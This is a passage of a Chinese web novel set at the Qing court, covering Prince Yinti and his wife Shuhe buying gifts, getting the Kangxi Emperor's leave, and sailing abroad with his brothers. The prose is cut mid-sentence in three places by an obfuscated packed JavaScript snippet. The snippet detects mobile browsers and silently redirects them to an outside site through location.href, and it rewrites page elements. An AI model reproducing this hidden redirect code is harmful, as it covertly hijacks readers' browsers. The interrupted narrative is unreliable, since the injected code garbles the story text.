“昂!就是这样!”说着,胤褆一扬下巴,借此掩饰内心那抹一闪而过的心虚。 见他这样,舒禾也没有再说什么,而是拿出那套粉翡镶金的头面放到一边,将另一套红宝石头面往外推了推。 “两套头面我都很喜欢,只是我一个人戴不过来,这套明天带进宫送给额娘如何?” 胤褆知道,舒禾每次这样问的时候,内心都是已经拿定了主意,反身坐在书桌上,双手环胸,“你不是已经有了主意,还问我干什么?” “自然是采取你的意见。” “我的意见有用?” “怎么就没用了,你如果不愿意,我就不送,左右不过吩咐冬至出去再买一套的事,咱家又不是没那个条件。” 闻言,胤褆脸色稍霁,“算了,我也不是什么特别计较的人,就让冬至出去再买一套吧。” 就这,还说自己不是什么计较的人,舒禾也是服气了。 合上那套红宝石头面的首饰盖子,起身绕过书桌走到门口拉开房门,淡声道:“进去个人把书桌整理一下,顺便套辆马车。” “马车?你要出门?” “嗯,去趟金玉阁,给额娘和哈拉挑些首饰。” “让冬至去不就好了。”胤褆亦步亦趋地跟在舒禾身后,十分理所当然道。 “说起来不好看,这一走不定又是几年,不能在长辈眼前尽孝,离开前送的东西,总归是多用点心的好。” 说到多用点心,胤褆沉默了,他想到他买的那两个并不算珍贵也不算稀奇的两个小摆件了。 你要说他挑的时候尽心没,那肯定是尽心了的,只是尽的却是怎么省钱的心,和孝心那是半点不带掺搅的。 一路旁观舒禾买了多少东西、花了多少钱后,胤褆彻底沉默了,讲真的,换成他绝对是舍不得眼都不眨就花那么多钱的。 这不是穷不穷的问题,而是那么多钱从他手里面花出去,会给他一种剜肉的感觉。 给皇阿玛和额娘外加岳丈和岳母的东西买完了,胤褆着实是松了一口气,买完好啊,买完就不用让他看着钱被花…… “等等,为什么还要给太子买礼物!” 舒禾抽回被胤褆握住的胳膊,一边挑选砚台一边回道:“哈拉曾经给太子批的折子泼过墨,这是赔礼。” “什么时候泼的墨?为什么我一点风声都没有听到过?” “咱们出海那段时间,我和哈拉聊天时哈拉自己说的。” 行,自家闺女闯的祸,胤褆忍了。 一刻钟后,胤褆看着正在挑选字画的舒禾,无力地问道:“别告诉我,你给老四挑东西,也是哈拉闯了祸,你在给他挑赔礼。” “恭喜恭喜,猜对了。” “呵、呵呵——”胤褆尬笑,他宁愿他没有猜对。 又是一刻钟,这次胤褆学聪明了,看着给胤禩挑礼物的舒禾,直接吐出两个字:“哈拉?” “嗯哼~” 得到肯定的答复,胤褆脸上不由得挂上一抹假笑,感觉他这的命可能有点不太好,以及再次肯定了哈拉跟他的不相像。 他小时候,虽然说也霸道,却也没有闯那么多祸,嗯……应该没有吧? 想着想着,胤褆有些不确定起来。 舒禾并不知道胤褆在想什么,只是依照着胤褆那些兄弟的数量,挨个挑了礼物,包括刚出生没多久的那几个。 送这些礼物也不求什么,只求下次哈拉闯祸的时候包容一点。 翌日,两人带着一堆人大包小包的就去了皇宫,一进宫,两人直奔延禧宫,他们两个要借用延禧宫的宫人把东西送到该送的人手里。 若是不借用宫人,凭着他们两个,跑断腿一天之内也送不完。 带着东西到了延禧宫,找出给惠妃挑的头面首饰舒禾就凑了上去。 “儿媳给额娘请安,额娘,儿媳这次过来,给您带了些京城现今时兴的首饰,您看喜不喜欢。” 惠妃往舒禾打开的首饰盒里面瞅了两眼,无悲无喜的点了点头,“不错,挺喜欢的,翠宛,把东西好生收起来。” “额娘,您不戴上试试?”胤褆坐在一边椅子上,见惠妃只是看看就让人收起来了,不解的问道。 惠妃笑容和善地看着自己的傻儿子,咬牙出声:“胤褆啊,你知道额娘这一头东西戴上去要多久吗?” “不知道。” “那你又知道试首饰要多久吗?” “……不知道。” 一连两个不知道配上那无辜的脸,看的惠妃心头火气,闭了闭眼,不想在外边不给胤褆脸色,强自压着火气赶人。 “我这边你们两个也算是来过了,可以去其他地方了。” 无辜且被牵连的舒禾,“额娘,离开前我想跟您借点人。” “翠蕊。” 翠蕊应声出列,走到舒禾面前,福了福身,“福晋,有什么事和奴婢说就行。” “冬至,你去把那些礼物的归属告诉她,别送错地方喽。” “是。” 将冬至留下后,胤褆带着舒禾一路晃悠着就去了御书房。 还没到御书房,远远的就见御书房外好像站了一堆人,停下前进的脚步,胤褆眯着眼睛瞅了半天也没看清御书房外站的都是谁。 忽略心底的不安,低头看向身边人,“外边站了许多人,咱们是等他们走了再去还是现在就过去?” “现在就过去吧,我出海这事,满朝文武都是知道的,若说他们敢批判我跟着你进御书房,那他们当初把我一个弱女子和你一起打包送出大清这行为,更适合批判。” 毫不夸张的说,这一瞬间,舒禾连买通史官写什么都想好了,势必要把那些敢为难……为难…… 不是,这几个带着各自福晋站在御书房门口的皇阿哥是要闹哪样? “大哥、大嫂,你们来了,兄弟们等了许久,可把你们等来了,”胤祉想到什么,一拍额头,“瞧我,你是要进去找皇阿玛是吧。 走走走,直接进去就行,兄弟们已经提前帮你给皇阿玛说过你要来了,至于大嫂,大哥你放心,我让我福晋陪着。” 说完,胤祉给和卓丢了个眼色,知道今天这事事关后半生怎么过的和卓不敢松懈,笑着就凑了过去。 “大嫂,我是董鄂.和卓,咱们两个站一块可以吗?” 说着,董鄂.和卓就用了个巧劲将舒禾拉了过来,就在舒禾不知所措之际,琪娜也凑了过来。 两人一左一右把舒禾围的结实,看的胤褆是无从下手,他想把福晋捞出来放到自己身边,却愁寻不到机会。 “大哥,别看了,咱们快进去吧!” “哎!不是……” 一左一右被两个弟弟架起,胤褆回头无助地看向舒禾,这一对视,却发现舒禾好像比他更无助一点。 他虽然说被架起来了,但他人高马大的,也不怕什么,就是突然这样,有点迷茫外加不可置信罢了,但舒禾就不同了。 今天舒禾出门没穿花盆底,站在两个穿了花盆底的人面前,那简直是弱小无助的代名词。 夫妻两个被人群裹挟着进了御书房,又被裹挟着行了礼,直到被赐座,脑子都还有点没反应过来。 康熙看着底下奇怪的坐位,有些好奇胤褆这个大情种为什么不跟他的福晋坐一块。 但他身为皇帝,问这么个小事到底有些不合适,只心下打算暗处遣梁九功打听一下,然后听来满足一次好奇心。 现下直接说起了正事,拿出盖好章的出关文书,递给一边候着的梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168074|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九功,摆摆手示意他把东西拿给胤褆。 “你想带出去的东西和人,我这边已经批准,若是海关那边为难,拿出这个文书,就能解决问题。” 胤褆起身接过梁九功递过来的文书,行礼谢恩,“儿臣谢皇阿玛允准,只是,儿臣还想求一把剑,可立斩从三品以下官员的剑。” “理由。” “上次出海,有人故意将儿臣行踪泄露给倭贼,使倭贼袭击官船,若不是遭人相救,险些就出了事。 后来,经查实,是地方官员作祟。 回程时,儿臣将李天留在了那里盯着那个官员,让他得到个结果再回来,只是李天现下还没有回来,怕是地方官员互相推诿,不愿处置。” 康熙拧着眉一拍桌子站起身,“放肆!此事为何刚回来时不报!” 若是报了,他早就派人把那敢谋害皇子的狗东西们处理了! “回皇阿玛,儿臣忘了,若不是此处离开,说不定还想不起来。” “你这记性,干什么能行!”康熙斥了一句后,直接就答应了胤褆刚才的请求,“要剑是吧?朕给你,并给你一封圣旨,从一品下立斩无罪。 当然,前提是杀尽那些敢谋害皇子的人,以及,不可滥杀无辜,要不然朕、能给你,也能收回。” “皇阿玛您放心,儿臣定不会滥杀无辜。” 胤褆这么保证,康熙也就这么信了,要说这其中几分是信胤褆的人品、几分是信自己的教育不会教出滥杀无辜之人,就有点不好说了。 眼见着康熙和胤褆的谈话告一段落,几个较小的阿哥对视一眼,默契地戳了戳胤祉的后腰,示意他可以上了。 一连四双手戳在后腰,胤祉差点没直接叫出声,压下即将脱口的喊声,上前两步行了个打千礼,“皇阿玛,儿臣有一事相求。” 换成胤祉,康熙的态度冷了一些,理了理衣袖重新坐回去,“说。” 一个字扔出,胤祉就把这些天他们兄弟几个商量好的话说了出来。 “皇阿玛,儿臣最近读圣贤书,觉得其中那句‘读万卷书,行万里路‘说的十分中听,恰逢大哥最近要出海,所以儿臣就想着,是不是跟着出去长长眼界比较好,您觉得呢?” 这几个比较年长的儿子,康熙不说了解个十成,也能了解个八成,因此一听胤祉的话,就知道这不是他那读书读傻了的三子能说出来的,大眼一撒几个跟着一同过来的儿子,就知道大概是怎么回事了。 脑海中不由想起半年前,在这御书房中,他曾和他的保成说过的话,如今这一个个的,看上去可不就是那话中一个个渴望自由的鸟儿嘛! 手指轻轻摩擦手下的扶手,一时间坏心眼上头,意味不明的看了胤祉半天,就在胤祉撑不住想要撤下去之际,方才爽快道:“手里面事务交接好,还有你额娘和你福晋没意见的话,朕就准了。” 闻言,胤祉连连摇头,“没意见、没意见,她们都没意见。” 见胤祉回答的这么迅速,康熙抬头看向人群后的三福晋和卓,挑了挑眉,也难怪胤祉回答这么快了,福晋都跟着来了,恐怕是早就商量好了。 就是荣妃能同意挺让他吃惊的,毕竟没了那么多个孩子后,荣妃对胤祉的宝贝程度他可是知道有多厉害的。 当然,也不排除荣妃并不知道胤祉准备出海的事,嗯、决定了,今晚上去荣妃那坐坐,好好讨论一下胤祉出海这事。 “皇阿玛,儿臣也想出去见见世面。” “皇阿玛,儿臣……儿臣……” 一声声皇阿玛一声声儿臣听的康熙耳朵疼,尤其是说的这话,一个个这么直白,还不如胤祉那先瞎胡扯了一堆理由再说目的的话呢。 懒得和他们多说,康熙摆摆手,一脸的不耐烦,“你们和胤祉一样,手里面事务交接好,额娘和福晋同意就行。” “太好了!我没有福晋!” 胤祐突然说了这么一句话,引得众阿哥纷纷侧目,胤祉也是稀奇,他之前一直以为众阿哥中他最憨直,没想到七弟才是最憨直的那个,只是平时不显山不露水罢了。 事说完了,康熙挥挥手就开始赶人,“如无其他事,就离开吧,一会这还要议政。” “是,皇阿玛,儿臣告退。” 舒禾自打进来从头到尾没说一句话,光顾着看好戏了,她之前都不知道,这一群皇阿哥们的脸色能丰富到这种程度。 就胤褆在上面和康熙说话的那会功夫,这群小阿哥们,一分钟八百个脸。 啧啧啧,不愧是皇家培训班出来的,变脸速度一绝。 等离了御书房一段距离,其他几个兄弟都走了,原地只剩他们夫妻两个外加府里面带的下人后,胤褆委屈着一张脸磨磨蹭蹭走到舒禾身边。 用只有两人才能听到声音,小声嘀咕道:“舒禾,我不是很想和他们一起出海,要不咱们两个偷溜吧?” 54.一群人的出海 舒禾微微偏头,看向满脸委屈的胤褆,以同样低的音量回道:“不好。” “为什么?” “一起出海这事已经在皇阿玛面前过了明路,现在偷跑,我怕半路被抓回来。” “啧,早知道刚才在御书房直接就给回了了。” 听胤褆这么说,舒禾好奇地问道:“那你刚才为什么不回绝?” “咳!”胤褆抬手摸摸鼻子,眼神闪烁:“那不是皇阿玛喜欢兄友弟恭的场面嘛,刚拿了文书,我想着陪他们演一会也没事,但后边属实是有点……” “有点收不了场了对吧?”见胤褆吞吞吐吐半天说不出剩下的话,自然的就接过他的话茬把未尽之言说了出来。 “嗯。” 与此同时,御书房内,胤礽从用来遮掩的屏风后走出,缓缓道:“皇阿玛,你要是不想让他们出海,直接下令不让他们出去不就行了,反正他们也不敢有什么不满。” 突如其来的声音打断了康熙的思绪,抬头看向声音发源地,见是胤礽,神色自然地招招手,“过来。” “皇阿玛,什么……嗯?”胤礽抬手捂住被奏折敲到的额头,看着康熙的眼里面满是不可置信。 “皇阿玛,您打我!” “出言不逊,这是教训,给我磨墨。” “是。”胤礽收回捂着额头的手,不情不愿地应道。 看出了胤礽的不情愿,康熙幽幽的叹了一口气,他的这个太子啊,什么都好,就是有时候太过感情用事了。 当然,也不是说不好,从他这个被投入了感情的人的角度看,所受到的反馈十分好。 但若是将来为皇,这样就不好了。 康熙略一思忖,头一次选择把自己同意背后的因素说出来。 “同意他们出海,一是他们已经长成,且个个十分优秀,圈在大清无异于用笼子圈养一只猛虎,二是他们没了那颗心,作为磨刀石已经不合格,三则,有胤褆这么个例子在,不放,恐生怨怼。 是以,他们想要跟着胤褆出去寻找自己的价值,放他们走,是最优解。” 听到话中磨刀石三个字,胤礽磨墨的手一顿,片刻后方才若无其事地问道:“您知道他们出海去干什么?” “你有索额图给你传递信息,朕未尝没有朕的消息途径。” 这已经不算是侧面承认了,这已经是光明正大的承认了,胤礽消化了好一会才把康熙抖搂出来的消息给消化完。 消化完后,胤礽紧跟着就抛出了第二个问题,“您之前打算把大哥给我做磨刀石,后来为什么不打算用他了?” “因为朕发现,朕的太子不用磨刀石也能长成朕想要的模样。” “……皇阿玛,您有点变了。”胤礽眼神复杂地看着康熙,心绪难平。 他想要的承认,就这么简简单单的被说出来了,真的合理吗? 康熙闻言,笑着摇了摇头,不和胤礽计较,转而提起了其他事,“保清送回来的那些图纸送到各部已经半年了,该出成果了,你抽时间去巡查一下各部,顺便……” “顺便和你那些准备出海的兄弟们聚聚。” “是,儿臣谢皇阿玛体恤。”可不就是体恤嘛,都专门留出时间让他跟那些兄弟聚聚了。 可是,这体恤能不能用到正途啊?您知道那么多,难道不知道他们这些人的兄友弟恭都是装的吗? 事实证明,在面对自己儿子们相处是否和谐这一问题上,康熙选择性当了睁眼瞎。 上午刚在御书房聚过的众人下午在京城最大的酒楼又聚到了一块,你看看我,我看看我,全都是一脸懵。 “有人借老三的名义请了老四、老四的名义请了老三,老五的名义请了老七、老七的名义请了老五,然后你们四个的名义请了我。 啧——谁那么大胆,一下子戏耍五个皇阿哥?”说完,胤褆扫了一眼房间内空出来的那把椅子,眼神意味不明。 “孤耍的,大哥待如何?”胤礽突然出现,靠在门框上挑衅地看向胤褆。 “比武场上比划两招?” “呵,挑自己擅长的比我不擅长的,大哥可真是个君子啊!” 胤褆对着胤礽抱了抱拳,谦虚道:“君子称不上,武夫倒是勉强称得上一句。” “大哥也太谦虚了不是,你……” 眼见着胤礽还要继续绕弯子,胤褆不耐烦直接打断道:“闲话就免了,直说请我们来干什么。” 胤礽冷哼一声,走到空出的那把椅子上坐下,“还能干什么,帮你们演兄友弟恭的戏码呗。” “得,弄这么半天白忙活,你们慢慢演,爷不奉陪了。” 说着,胤褆站起身径直朝外走去,一边走一边想胤礽真是闲的没事干,吃饱了撑的。 都不在皇宫里面了,还想着给那位演兄友弟恭的戏码,真真是耽误他时间,要知道被请过来前,他都已经准备好和福晋一起回岳家送礼物告别了。 现在这么一掺搅,一起去是不成了,也就只能委屈委屈自己去接福晋回府了。 胤褆走后,一群人又在酒楼里面待了半个时辰才逐渐散去,胤禛作为太子一党的人,自然是最后一个走的。 胤禛握着方才胤礽塞给他的令牌跨出房门,想到两人刚才的谈话,内心自是一片火热,恨不得即刻干出一番事业来。 画面一转,时间来到三个月后,海港六艘官船齐出海的画面,引得不少人竞相围观,坐在船只最上层的茶室中都能依稀听见下方的热闹之声,可想而知真正身处下方又是怎样一番热闹景象。 一茶室人品着茶,各有各的懒散,眼里面却都充满着对海上生活的向往。 胤褆带着舒禾从茶室门口路过,恰好瞥见胤祐眼里面那抹一闪而过的向往,不由得嗤笑出声:“居然对枯燥的海上生活有向往,果然是欠练。” “走了,不是说陪我去看船出港的么!”舒禾朝茶室内看出来的众人歉意一笑,拉着一句话惹众怒的胤褆赶忙走了。 “……跟着大哥这么个人,大嫂挺辛苦的。” 胤禛默默点头,这一幕被胤祉看见,有些好笑道:“你点什么头,四弟妹跟着你,也不轻松。” 说完,见胤禛满脸不信的模样,胤祉笑着列举:“你是不是不爱说话,内心什么想法全靠猜?你是不是对别人十分严苛,有一丝不好就……” “三哥!” “行行行,我不说了,但老四啊,哥哥不说,不代表你的那些问题不存在,有时间还是改改的好,这次四弟妹跟着一同出海,恰好是个改好的时间。 出来前,哥哥可是打听过了了,外国流行和离还是养情夫什么的,小心四弟妹哪天想不开就学了来。” 偷摸溜回来的两人对视一眼,互相挤眉弄眼表达着自己的意思。 胤褆:怎么样,是不是三弟的嘴更贱一些? 舒禾:是挺贱的,如果我是四弟,这会已经招呼他吃上拳头了。 胤褆:四弟不会。 舒禾疑惑地皱了皱眉:为什么不,话都说到这份上了,不打,说得过去? 胤褆假模假样的轻咳一声,低头凑到舒禾耳边,用气声道:“因为四弟武功还不如三弟。” “三弟不是……” 不是什么舒禾没说,她相信凭借那么多年的默契,胤褆知道她的那些未尽之言。 “三弟书读的好这一点不错,但武功也没落下,相较于四弟,可是强了不止一星半点,要不然你当胤祉是怎么从上书房毕业的?” “我以为凭着荣妃那疼他的性子,一定舍不得他习武,会帮他求皇阿玛的。” 胤褆摇了摇头,“荣妃是疼他,但武功上的要求,却是一点不低,有时候胤祉不愿意,荣妃还会逼着他习武。” “为什么?”疼他,不应该是觉得习武太过于辛苦,不让他去的么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175054|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “跟我来,”胤褆拉着舒禾离开茶室门口,来到船板上,靠着栏杆、吹着海风、欣赏着逐渐远去的景色,徐徐道:“皇宫里面,在我之前有七个孩子,都没有立住,其中就有荣妃生的,都说是身子弱,没撑下去。” “习武健体,这就是荣妃逼着胤祉习武的原因。” “没错。” 舒禾转身将手搭在栏杆上,望着远处蔚蓝的海平线,突然道:“母之爱子,则为之谋其深、谋其远。” “适用一些但不适用于所有。” 舒禾有些不服气的反问:“比如?” “德妃。” 想到德妃对胤禛和她身边孩子的两个态度,舒禾轻笑着摇摇头,不再说什么,这个答案,她服气。 “你适用于你刚才说的那句话。” 胤褆看着身边人小小声说了一句话,又在舒禾不解他说什么转头时,若无其事地摇头扯开了话题。 做了那么多年枕边人,胤褆自认对舒禾就算不能了解十成,也能了解个九成九。 说实话,他觉得,舒禾这人,挺复杂的,有时候看上去对他爱的不行,有时候却又让他觉得他对之于她也不过如此。 时常让他患得患失的,当然,他并不排斥这份患得患失感也就是了。 剩下那半点不了解,就是始于他们两个的女儿了,他不解…… 往右偏移一步,抬手搭在舒禾肩上,微微用力,将人按到怀中,低声问道:“我和哈拉,谁对你更重要?” “怎么想起来和哈拉比了?” 胤褆并没有回答舒禾的问题,而是接着问道:“哈拉是你认定要继承咱们两个一起的人,我呢?我是什么?” 舒禾扭头想和胤褆对视,却发现胤褆自己避开了他的视线,干脆转身捧住胤褆的脸,逼他对视,看着胤褆略带茫然的眼睛,一字一顿道:“你是夫君,是我要共度余生的人。” “那和哈拉比,我赚了哎!” “什么?” 胤褆就着被捧脸的架势,低头抵住舒禾的额头,笑的肆意,“哈拉只能得到一堆冷冰冰的事物,我却能得到一个真心真意的你,我这还不是赚了吗?” “……德行。”舒禾撇开脸,嗔道。 什么德行?当然是要美人不要江山的德行…… 就着这个姿势说了两句话,察觉不远处有人过来了,舒禾手抵在胤褆腰间推了一下,胤褆顺势起身,两人就恢复了之前的姿势。 “哎哟我的爷啊,可算是找到您了,那几位阿哥现下正在茶室吵着让您过去,您看?” “你什么时候跟梁九功学的说话腔调?” 胤褆皱着眉头问了一句,说罢也不等李阔解释,就抬手比了个打住的手势。 “行了,爷和福晋忙着呢,没空理他们,告诉他们几个,要不好好喝茶,要不……” 胤褆瞥一眼底下深蓝色的大海,意思很明显,要不就跳下去游两圈。 “得嘞!” 看着李阔走远的背影,舒禾眨眨眼,错愕地问道:“他就这么走了?” 那明显得罪人的话就这么准备去说了?真就出海一趟把胆子出大了呗! “他机灵着呢,你看吧,一会还得回来。” 舒禾双手环胸,摇了摇头,“不信。” “那打赌,就赌晚上几次,我赢了,三次,你赢了,一次。” 一次、三次的对舒禾来说没区别,要是再多一点她说不定还会再迟疑一会,但是现在嘛…… “赌了!” 因着这个赌约,两人也没走远,就在这一小片活动,商量着半个时辰内李阔不过来,赌约就作废。 结果就是,不过一刻钟李阔就又一脸难色地找了过来。 李阔小跑着过来,看看一脸喜色的郡王,再看看一脸脸色不怎么好看的福晋,迟钝的想道:这是在他离开那么一会会功夫就吵了一架? 55.抵达——没见识的弟弟们 看着一脸难色的李阔,舒禾撇过身子,歪头示意胤褆赶紧把事解决了。 胤褆眼带笑意,抬手抵着唇轻咳一声,对着李阔摆摆手,“前面带路。” “好嘞!” “走吧,我的福晋。” 瞥一眼伸到面前的手,舒禾翻了个白眼,重重的把手搭上去,“走!” 行至茶室,舒禾已经整理好了自己的情绪,挣开两人握着的手,一派正常地走进去,就见房间里面除了几个皇阿哥,另两位福晋也在。 舒禾扭头和胤褆对视一眼,眼里面满是疑惑,搞不懂这群阿哥们葫芦里面卖的什么药。 “哎!大哥大嫂来了,老四,快快快,把你的绝活再演示一遍。” 胤禛冷冷地看着胤祉这个人来疯,咬牙喊道:“三哥!适可而止!” “行行行,”胤祉今天只是本着玩乐的心思,没想真把人惹恼,“既然四弟不愿意,不如五弟你来一个?” “三哥,弟弟其他的不擅长,唯有武艺还算不错,你是想跟弟弟打一场?” 说完,胤祺笑着抿了一口茶,好整以暇地看着胤祉,一副你说打咱们两个立马就打一场的模样。 见状,胤祉撇撇嘴,果断决定另换一个目标,不过在场还没有调侃的皇阿哥只剩老七和老八,这两个他都挺想调侃的,一时间有些拿不定主意。 在胤祉寻摸下一个目标时,胤褆带着舒禾挑了个地方坐下,拿起茶壶给两人各倒了一杯茶,悄声猜测让他们两个过来是干什么。 “我觉得,是想和你比武。” “嗤,不是爷吹,在场的人里面,就没有比爷武艺好的。” 见胤褆仰着脸,尾巴都快翘天上是模样,思及刚才船板上的种种,舒禾忍不住想踩一脚他那翘起来的尾巴,便故意和他唱反调道:“是么?我怎么觉着,三弟的武艺最好。” “呵,老三他也就作诗这一点爷比不上,其他地方,他哪哪都不如爷。”胤褆半点没有被打击到,摆明了十分清楚胤祉的根底。 “有时候盲目自信可不行……哎!你干什么去!” 胤褆站起身活动活动手腕,不再压低声音,而是用所有人都能听到的音量道:“老三,走,咱们兄弟两个切磋切磋。” “哈?”胤祉不可置信地抬手指着自己,一脸你是在说我吗的表情。 “就你,别发呆了。” “大哥,我不行的,你跟四弟比去吧。”胤祉吓得连连摆手道,放飞自我第一天,他可不想上赶着去挨打。 “今天哥哥心情好,给你指导指导武艺,快点的!再磨蹭,就每天……” “别!我现在就起来!” 胤褆拖着胤祉出去了,舒禾身边的位置就空了出来,和卓趁着胤褆没回来,拉着琪娜就坐了过来。 两人一左一右坐在舒禾旁边,和卓歪头凑过来一脸好奇地问道:“大嫂,你刚跟大哥说了什么,让他突然就想跟我家爷打一架?” “也没说什么,就是些平常话。” “大嫂,我听说你跟大哥大婚前,大哥都不会好好和人说话,你能教教我怎么让一个人好好说话吗?” 这次说话的琪娜,舒禾目光落到眼带祈盼的琪娜身上,想想她嫁的那个,就知道她为什么会有此一问了。 但无奈的是…… “抱歉,我并不知道怎么让一个人好好说话,他现在这样,是他自己的缘故。” “这样啊——”琪娜有些失望的垂下头,刚才跟三嫂聊天,三嫂说大嫂可能有办法,她还以为自己终于不用听那些听不懂的话、以及遭受那些冷脸攻击了呢。 见琪娜失望,舒禾想了想,建议道:“你若是有什么苦恼,可以和四弟商量或者倾诉一下,夫妻之间,就算闹出点小笑话,也无伤大雅。” “真的?”琪娜一脸惊鄂的抬头盯着舒禾,就好像她说了什么天大的事。 “真的。”被琪娜的反应逗笑,舒禾笑着微微颔首,好悬才忍住笑出声的冲动。 接下来,琪娜又问出了好几个问题,舒禾都一一解答了,待胤褆带着一瘸一拐的胤祉回来,两人临走之际,琪娜突然弯腰凑到舒禾耳边,小声说了一句话。 舒禾一脸错愕地看着转身离开的琪娜,脸上的错愕在片刻后化为好笑。 “她说了什么,让你那么盯着她?” “没什么,一些女儿家的私房话。” 四弟妹说她身上有额娘味道什么的话,她才不会告诉胤褆的,这些顺着时间埋藏在她记忆里就好了。 为防胤褆接着追问,舒禾抢先一步开口:“你和三弟切磋,切磋出个什么感悟来没?” “他太弱了,欠练。” “大哥、大嫂,玩围棋吗?”胤祉晃晃手上装着棋子的盒子,笑得一脸灿烂。 看着胤褆的眼睛带着势在必得,刚才比武切磋他输了,他就不信了,比围棋还能输,今天他势必要在围棋这一方杀他大哥个片甲不留。 胤祉心里面那点小算盘完全可以说是写在了脸上,胤褆扶着舒禾站起身,走到一群人空出来的位置坐下,捻起一片棋子在手里面掂量了两下又放下。 主动让贤道:“围棋爷不擅长,就由我福晋替我来。” “大哥!”胤祉有些不满的唤道:“你这样,我还怎么在场上!” “你想在场上,自然可以在场上。” 胤祉磨牙,他是可以留在场上,但也会在众兄弟间留下一个欺负女眷的名头,狠狠瞪了胤褆一眼,转身对着和卓招招手,“你来,你和大嫂下。” 和卓无奈起身走到舒禾对面坐下,对舒禾丢了个歉意的眼神,提前讨饶道:“妹妹在家中不曾学过这些,一会还请大嫂手下留情。” “自然。”舒禾应下后,比了个请的手势,示意和卓那边先开始。 和卓手持黑子,率先将棋子下到了黑眼处,舒禾见状,紧跟着下下一白子。 下了一会,胤褆在一边观战观的无聊,干脆下场打起了辅助,“那边那边,舒禾,听我的,准没错。” 舒禾瞥一眼胤褆手指的方向,她若是下到那里,和卓再跟一棋,恰好形成‘门吃’,那一片白子将会尽归和卓,而若是下到另一处,则会立刻形势反转。 一时间,舒禾有些摸不准胤褆根本就不会在瞎指挥,还是不想玩了想早点回去借此提醒她…… 目光若有若无地扫过一脸紧张的和卓,再看看她身后紧盯着她的胤祉,心下微叹,罢,就做这么个顺水人情好了。 反正她也玩腻了,素手微抬,白子落至胤褆所指的地方,至此,白子满盘皆输。 “输了。” “啧,这破棋就是成心和你作对,不比了,咱们走!” 临离开前,舒禾回头看了一眼,收到一个来自和卓感激的眼神,还没来得及回个眼神就被胤褆急匆匆拉出了茶室。 一出茶室,胤褆就开口安慰棋下输了的舒禾,“比武切磋老三输了,下棋他福晋赢了,一比一,平手,所以……” “我没伤心。” 让她自己下,她是可以赢的,输是因为胤褆,她伤心个什么劲,要伤心也是胤褆这么个罪魁祸首伤心。 “啊?哦哦,没伤心就好,没伤心就好,”胤褆低头重复了两遍,“既然没伤心,咱们去钓鱼?” “钓呗,钓上来一条大的,中午就用它做菜,钓上来条小的就用它做汤。” “那中午必须得多个一菜一汤!” 舒禾偏头看向一边,憋着笑不回话,急速行驶中的船本就不好钓鱼,外加现在的鱼竿和鱼线强度,怕是钓上一条小点的鱼都要折在海里面。 一菜一汤什么的,笑笑就好了。 而最后的最后也不出舒禾所料,一条鱼都没有钓上来,菜没加成,某人本就不好的心情却是再次被雪上加霜。 日子一天天过,海上三个月无聊的航行,成功磨平了初次出海几人的各种激动。 到最后,他们只会在船只靠岸补充淡水可以下船游玩一会的时候激动些,偏又因为语言不通外加时间紧,只能在海港溜达,远点的地方都去不了。 作为过来人,胤褆冷眼旁观,别说同情了,每天晚上不躲起来和舒禾一起蛐蛐他们都是看在那么多年的兄弟情份上。 船只再次靠岸,就在胤祉几个瘫在躺椅上百无聊赖看着远处发呆时,突听船上众人都激动起来,胤褆和舒禾也盛装从住的地方走了出来。 几人对视一眼,莽字出名的胤祉再次被推出,胤祉扯着嗓子朝远处的两人喊话:“大哥、大嫂!你们两个这般,是要做甚?” “李阔。” “是,奴才知道,”李阔快跑到胤祉几人身边,“几位阿哥,咱们到地方了,如今,就是船只在靠岸卸货。” “到地方了?到地方了!”胤祉惊坐起,“为什么没人提前和爷说要到地方了!” “这……不可能没人说,船上贵人,都是早早就安排了人去通知的。” “不可能!如果……” 和卓扯扯胤祉袖子,小声提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184056|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“爷,昨天日里,是有人来禀明天靠岸,你当时还应了的。” “爷当时、爷当时……”靠!他当时只是以为和寻常靠岸一样,不知道这是要到地方了啊! 胤祉急急忙忙站起身,拉着和卓就往卧房跑去,“走,咱们去换身衣裳。” 琪娜看看离开的夫妻两个,低声唤一边躺着的胤禛,“爷?” 胤禛眨眨眼,从胤祉突然跑走的变故中回神,扭头看向琪娜,“咱们也去换身衣裳。” 胤祺看看胤祐,再看看胤禩,无奈一耸肩,“两个哥哥走了,咱们也走?” “走,没道理大哥盛装下船,咱们一个个邋里邋遢的下船。” 一直没走的李阔听到‘邋里邋遢’四个字,抽了抽嘴角,觉得自己都快不认识这四个字了。 要他说,这几位顶多是穿的日常了点,比之宫宴上穿的的肯定差点,但比普通人却是高出了不止一个档次,怎么也称不上一句邋遢。 